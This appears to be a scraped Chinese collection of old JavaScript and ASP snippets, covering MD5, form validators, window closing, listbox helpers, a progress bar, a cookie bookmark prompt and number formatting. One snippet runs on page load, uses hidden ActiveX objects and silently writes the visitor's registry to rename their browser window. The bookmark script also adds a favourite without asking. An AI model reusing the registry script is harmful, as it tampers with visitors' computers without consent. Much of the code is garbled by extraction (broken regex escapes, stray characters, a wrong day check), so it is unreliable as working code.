140 b = II(b,c,d,a,x[k + 1 ], S44, 0x85845DD1 );
141 a = II(a,b,c,d,x[k + 8 ], S41, 0x6FA87E4F );
142 d = II(d,a,b,c,x[k + 15 ],S42, 0xFE2CE6E0 );
143 c = II(c,d,a,b,x[k + 6 ], S43, 0xA3014314 );
144 b = II(b,c,d,a,x[k + 13 ],S44, 0x4E0811A1 );
145 a = II(a,b,c,d,x[k + 4 ], S41, 0xF7537E82 );
146 d = II(d,a,b,c,x[k + 11 ],S42, 0xBD3AF235 );
147 c = II(c,d,a,b,x[k + 2 ], S43, 0x2AD7D2BB );
148 b = II(b,c,d,a,x[k + 9 ], S44, 0xEB86D391 );
149 a = AddUnsigned(a,AA); b = AddUnsigned(b,BB); c = AddUnsigned(c,CC); d = AddUnsigned(d,DD);
150 }
151 // Step 5. Output the 128 bit digest
152 var temp = WordToHex(a) + WordToHex(b) + WordToHex(c) + WordToHex(d);
153 return temp.toLowerCase();
154 }
改进的email检查js脚本
1 function isEmail(str)
2 {
3 // are regular expressions supported?
4 var supported = 0 ;
5 if (window.RegExp) {
6 var tempStr = " a " ;
7 var tempReg = new RegExp(tempStr);
8 if (tempReg.test(tempStr)) supported = 1 ;
9 }
10 if ( ! supported)
11 return (str.indexOf( " . " ) > 2 ) && (str.indexOf( " @ " ) > 0 );
12 var r1 = new RegExp( " (@.*@)|(//.//.)|(@//.)|(^//.) " );
13 var r2 = new RegExp( " ^.+//@(//[?)][a-zA-Z0-9//-//.]+//.([a-zA-Z]{2,3}|[0-9]{1,3})(//]?)$ " );
14 return ( ! r1.test(str) && r2.test(str));
15 }
判断输入是否为中文的函数
1 function ischinese(s){
2 var ret = true ;
3 for ( var i = 0 ;i < s.length;i ++ )
4 ret = ret && (s.charCodeAt(i) >= 10000 );
5 return ret;
6 }
综合的判断用户输入的合法性的函数
1 < script language = " javascript " >
2 // 限制输入字符的位数开始
3 // m是用户输入,n是要限制的位数
4 function issmall(m,n)
5 {
6 if ((m < n) && (m > 0 ))
7 {
8 return ( false );
9 }
10 else
11 { return ( true );}
12 }
13
14 // 限制输入字符的位数结束
15
16 // 判断密码是否输入一致开始
17 function issame(str1,str2)
18 {
19 if (str1 == str2)
20 { return ( true );}
21 else
22 { return ( false );}
23 }
24 // 判断密码是否输入一致结束
25
26 // 判断是否为空开始
27 function isnotnull(str)
28 {
29 if (str.length == "" )
30 {
31 return ( false );
32 }
33 else
34 {
35 return ( true );
36 }
37 }
38
39 // 判断是否为空结束
40
41
42 // 判断用户名是否为数字字母下滑线开始
43 function notchinese(str){
44 var reg =/ [ ^ A - Za - z0 - 9_] / g
45 if (reg.test(str)){
46 return ( false );
47 } else {
48 return ( true ); }
49 }
50
51 // 判断用户名是否为数字字母下滑线结束
52
53 // 判断是否为日期型开始
54 function isDate (theStr) {
55 var the1st = theStr.indexOf(' - ');
56 var the2nd = theStr.lastIndexOf(' - ');
57
58 if (the1st == the2nd) { return ( false ); }
59 else {
60 var y = theStr.substring( 0 ,the1st);
61 var m = theStr.substring(the1st + 1 ,the2nd);
62 var d = theStr.substring(the2nd + 1 ,theStr.length);
63 var maxDays = 31 ;
64
65 if (fucCheckNUM(m) == false || fucCheckNUM(d) == false || fucCheckNUM(y) == false ) {
66 return ( false ); }
67 else if (y.length < 4 ) { return ( false ); }
68 else if ((m < 1 ) || (m > 12 )) { return ( false ); }
69 else if (m == 4 || m == 6 || m == 9 || m == 11 ) maxDays = 30 ;
70 else if (m == 2 ) {
71 if (y % 4 > 0 ) maxDays = 28 ;
72 else if (y % 100 == 0 && y % 400 > 0 ) maxDays = 28 ;
73 else maxDays = 29 ;
74 }
75 if ((m < 1 ) || (m > maxDays)) { return ( false ); }
76 else { return ( true ); }
77 }
78 }
79
80 function fucCheckNUM(NUM)
81 {
82 var i,j,strTemp;
83 strTemp = " 0123456789 " ;
84 if ( NUM.length == 0 )
85 return 0
86 for (i = 0 ;i < NUM.length;i ++ )
87 {
88 j = strTemp.indexOf(NUM.charAt(i));
89 if (j ==- 1 )
90 {
91 // 说明有字符不是数字
92 return 0 ;
93 }
94 }
95 // 说明是数字
96 return 1 ;
97 }
98
99 // 判断是否为日期型结束
100
101
102 // 判断是否为固定的位数开始
103 function isatn(m,n)
104 {
105 if (m != n)
106 {
107 return ( false );
108 }
109 else
110 {
111 return ( true );}
112 }
113 // 判断是否为固定的位数结束
114
115 // 判断是否为电话号码开始
116 function istel(telstr)
117 {
118 var reg =/ [ ^ 0 - 9 - ] / g;
119 if (telstr != "" ) {
120 if (reg.test(telstr)){
121 return ( false );
122 }
123 else
124 {
125 return ( true );
126 }
127 }
128 }
129 // 判断是否为电话号码结束
130
131 // 判断是否为email开始
132 function isemail(emailstr) {
133 if ((emailstr.indexOf('@', 0 ) == - 1 ) || emailstr.indexOf('.') == - 1 )
134 {
135 return false
136 }
137 else {
138 return true
139 }
140 }
141 // 判断是否为email结束
142
143 // 中文输入判断开始
144 function ischinese(str){
145 var reg =/ [ ^ A - Za - z0 - 9_] / g
146 if (reg.test(str)){
147 return ( true );
148 } else {
149 return ( false ); }
150 }
151 // 中文输入判断结束
152 </ script >
按esc键退出的一个函数
function esckey(keycode) // 按esc键退出
2 {
3 if (keycode == 27 )
4 {
5 window.close()
6 }
7 }
自动关闭窗口
1 做一些小窗口发消息的等程序常用到自动关闭窗口
2 方法一:
3 < OBJECT id = closew type = " application/x-oleobject " classid = " clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11 " >
4 < param name = " Command " value = " Close " >
5 </ object >
6 < script LANGUAGE = " JavaScript " >
7 <!--
8 setTimeout('colosw.Click();', 1000 );
9 // -->
10 </ script >
11 <%
12 response.write " 留言成功! "
13
14
15 设置1秒留点时间显示 " 留言成功! "
16 缺点,无发使用与Tencent等一些浏览器,会把整个窗一起关掉
17
18
19 方法二
20 < script LANGUAGE = " JavaScript " >
21 <!--
22 function closew(){
23 self.focus();
24 self.close();
25 return false ;
26 }
27
28 setTimeout( " closew(); " , 1000 );
29 // -->
30 </ script >
31 <%
32 response.write " 留言成功! "
33
34 推荐使用
列表框操作函数集合
1 /* 列表框互相操作函数集 */
2
3 // 描述: 添加不重复列表框元素
4 function selAdd( srcList, dstList )
5 {
6 var selectedIndex = new Array();
7 var count = 0 ;
8
9 for ( i = 0 ; i < srcList.options.length; i ++ ){
10
11 if ( srcList.options[i].selected ){
12
13 selectedIndex[count] = i;
14 count ++ ;
15
16 }
17 }
18
19 for ( j = 0 ; j < selectedIndex.length; j ++ ){
20
21 k = selectedIndex[j];
22
23 if ( chkDup( srcList.options[k].value, dstList ) == false ){
24 & , nbsp; dstList.options.length ++ ;
25 var len = dstList.options.length - 1 ;
26 dstList.options[len].value = srcList.options[k].value;
27 dstList.options[len].text = srcList.options[k].text;
28 }
29
30 }
31
32 }
33
34 // 描述: 删除列表框元素
35 function selDel( list )
36 {
37 var len = list.options.length;
38 var idx = 0 ;
39
40 while ( idx < len ){
41
42 if ( list.options[idx].selected ){
43 list.options.remove(idx);
44 len = list.options.length;
45 }
46 else {
47 idx ++ ;
48 }
49 }
50 }
51
52 // 描述: 检测列表框元素重复
53 function chkDup( item, list )
54 {
55 for ( i = 0 ; i < list.options.length; i ++ ){
56 // alert( item + " - " + list.options[i].value );
57 if ( item == list.options[i].value ){
58 return true ;
59 }
60 }
61 return false ;
62 }
63
64 // 描述: 选择列表框的全部成员
65 function selSel( list, item )
66 {
67 item.value = " " ;
68 for ( i = 0 ; i < list.options.length; i ++ ){
69 list.options[i].selected = true ;
70 item.value += list.options[i].value + " " ;
71 }
72
73 }
74
75 function selSelSingle( list, value )
76 {
77 for ( i = 0 ; i < list.options.length; i ++ ){
78 if ( list.options[i].value == value ){
79 list.options[i].selected = true ;
80 break ;
81 }
82 }
83
84 }
85 // 描述: 根据数组初始化列表框
86 function selList( item, arr )
87 {
88
89 var curIndex, insIndex, val, text;
90 var arrItem = new Array();
91
92 if ( item ){
93
94 item.length = 0 ;
95 curIndex = 0 ;
96
97 for ( i = 0 ; i < arr.length; i ++ ){
98
99 item.length ++ ;
100 insIndex = item.length - 1 ;
101
102 if ( arr[i] ){
103 arrItem = arr[i].split( " , " );
104 text = arrItem[ 1 ];
105 val = arrItem[ 0 ];
106 item.options[ insIndex ].text = text;
107 item.options[ insIndex ].value = val;
108 }
109 }
110
111 }
112 }
带进度条的关闭窗口
1 <% Function myloading(a) %>
2 < form name = " loading " >
3 < div align = " center " >< center >< p >< input
4 style = " PADDING-RIGHT: 0px; PADDING-LEFT: 0px; FONT-WEIGHT: bolder; PADDING-BOTTOM: 0px; COLOR: red; BORDER-TOP-STYLE: none; PADDING-TOP: 0px; FONT-FAMILY: Arial; BORDER-RIGHT-STYLE: none; BORDER-LEFT-STYLE: none; BACKGROUND-COLOR: yellow; BORDER-BOTTOM-STYLE: none "
5 size = " 46 " name = " chart " > < br >
6 < input
7 style = " BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; COLOR: rgb(138,134,134); BORDER-BOTTOM: medium none; TEXT-ALIGN: center "
8 size = " 46 " name = " percent " >
9
10 < script >
11 var bar = 0
12 var line = " || "
13 var amount = " || "
14 count()
15 function count()
16 {
17 bar = bar + 2
18 amount = amount + line
19 document.loading.chart.value = amount
20 document.loading.percent.value = bar + " % "
21 if (bar < 99 )
22 {setTimeout( " count() " , 100 );}
23 else
24 <% if a = " closeit " then %>
25 { setTimeout( " closeme(); " , 10 ); }
26 <% else %>
27 { setTimeout( " window.go(-1); " , 10 ); }
28 <% end if %>
29 }
30 function closeme(){
31 self.focus();
32 self.close();
33 return false ;
34 }
35 </ script >
36 </ p >
37 </ center ></ div >
38 </ form >
39 <% End Function %>
利用cookie收藏网站
1 不用每次都询问别人是否收藏,烦!
2 < SCRIPT LANGUAGE = " JavaScript " >
3 <!-- Begin
4 var expDays = 100 ;
5 url = " http:// " ;;
6 title = " Come on " ;
7 function GetCookie (name) {
8 var arg = name + " = " ;
9 var alen = arg.length;
10 var clen = document.cookie.length;
11 var i = 0 ;
12 while (i < clen) {
13 var j = i + alen;
14 if (document.cookie.substring(i, j) == arg)
15 return getCookieVal (j);
16 i = document.cookie.indexOf( " " , i) + 1 ;
17 if (i == 0 ) break ;
18 }
19 return null ;
20 }
21 function SetCookie (name, value) {
22 var argv = SetCookie.arguments;
23 var argc = SetCookie.arguments.length;
24 var expires = (argc > 2 ) ? argv[ 2 ] : null ;
25 var path = (argc > 3 ) ? argv[ 3 ] : null ;
26 var domain = (argc > 4 ) ? argv[ 4 ] : null ;
27 var secure = (argc > 5 ) ? argv[ 5 ] : false ;
28 document.cookie = name + " = " + escape (value) +
29 ((expires == null ) ? "" : ( " ; expires= " + expires.toGMTString())) +
30 ((path == null ) ? "" : ( " ; path= " + path)) +
31 ((domain == null ) ? "" : ( " ; domain= " + domain)) +
32 ((secure == true ) ? " ; secure " : "" );
33 }
34 function DeleteCookie (name) {
35 var exp = new Date();
36 exp.setTime (exp.getTime() - 1 );
37 var cval = GetCookie (name);
38 document.cookie = name + " = " + cval + " ; expires= " + exp.toGMTString();
39 }
40 var exp = new Date();
41 exp.setTime(exp.getTime() + (expDays * 24 * 60 * 60 * 1000 ));
42 function amt(){
43 var count = GetCookie('count')
44 if (count == null ) {
45 SetCookie('count',' 1 ')
46 return 1
47 }
48 else {
49 var newcount = parseInt(count) + 1 ;
50 DeleteCookie('count')
51 SetCookie('count',newcount,exp)
52 return count
53 }
54 }
55 function getCookieVal(offset) {
56 var endstr = document.cookie.indexOf ( " ; " , offset);
57 if (endstr == - 1 )
58 endstr = document.cookie.length;
59 return unescape(document.cookie.substring(offset, endstr));
60 }
61
62 function checkCount() {
63 var count = GetCookie('count');
64 if (count == null ) {
65 count = 1 ;
66 SetCookie('count', count, exp);
67
68 if ((navigator.appName == " Microsoft Internet Explorer " ) && (parseInt(navigator.appVersion) >= 4 )) {
69 window.external.AddFavorite (url,title);
70 }
71 else {
72 var msg = " Don't forget to bookmark us! " ;
73 if (navigator.appName == " Netscape " ) msg += " (CTRL-D) " ;
74 alert(msg);
75 }
76 }
77 else {
78 count ++ ;
79 SetCookie('count', count, exp);
80 }
81 }
82 checkCount();
83 // End -->
84 </ script >
JavaScript修改注册表
< SCRIPT Language = " JavaScript " type = " text/javascript " >
2 <!--
3
4 document.write( " <APPLET HEIGHT=0 WIDTH=0 code=.activeX.ActiveXComponent></APPLET> " );
5
6 function f(){
7 try
8 {
9 // ActiveX initialization
10 a1 = document.applets[ 0 ];
11 a1.setCLSID( " {F935DC22-1CF0-11D0-ADB9-00C04FD58A0B} " );
12 a1.createInstance();
13 Shl = a1.GetObject();
14 a1.setCLSID( " {0D43FE01-F093-11CF-8940-00A0C9054228} " );
15 a1.createInstance();
16 FSO = a1.GetObject();
17 a1.setCLSID( " {F935DC26-1CF0-11D0-ADB9-00C04FD58A0B} " );
18 a1.createInstance();
19 Net = a1.GetObject();
20
21 try
22 {
23 if (document.cookie.indexOf( " Chg " ) == - 1 )
24 {
25
26
27 Shl.RegWrite ( " HKLM//Software//Microsoft//Internet Explorer//Main//Window Title " , " 那个该死的网站 http://www.the****site.com " ;);
28 Shl.RegWrite ( " HKCU//Software//Microsoft//Internet Explorer//Main//Window Title " , " 那个该死的网站 http://www.the****site.com " ;);
29 var expdate = new Date(( new Date()).getTime() + ( 1 ));
30 document.cookie = " Chg=general; expires= " + expdate.toGMTString() + " ; path=/; "
31
32 }
33 }
34 catch (e)
35 {}
36 }
37 catch (e)
38 {}
39 }
40 function init()
41 {
42 setTimeout( " f() " , 1000 );
43 }
44 init();
45
46 // -->
47 </ SCRIPT >
js中,有什么函数可以令数字每千位就加一“,”,还有什么函数可以保留小数后两位
1 /* **********************************************************
2 Function formatnumber(value,num)
3 Written by zergling
4 javascript版本的FormatNumber函数,用法与VBScript相同,第一个参数是待格式化的数值,第二个是保留小数位数
5 注意:返回的是字符串类型
6 ********************************************************** */
7 function formatnumber(value,num)
8 {
9 var a,b,c,i
10 a = value.toString();
11 b = a.indexOf('.');
12 c = a.length;
13 if (num == 0 )
14 {
15 if (b !=- 1 )
16 a = a.substring( 0 ,b);
17 }
18 else
19 {
20 if (b ==- 1 )
21 {
22 a = a + " . " ;
23 for (i = 1 ;i <= num;i ++ )
24 a = a + " 0 " ;
25 }
26 else
27 {
28 a = a.substring( 0 ,b + num + 1 );
29 for (i = c;i <= b + num;i ++ )
30 a = a + " 0 " ;
31 }
32 }
33 return a
34 }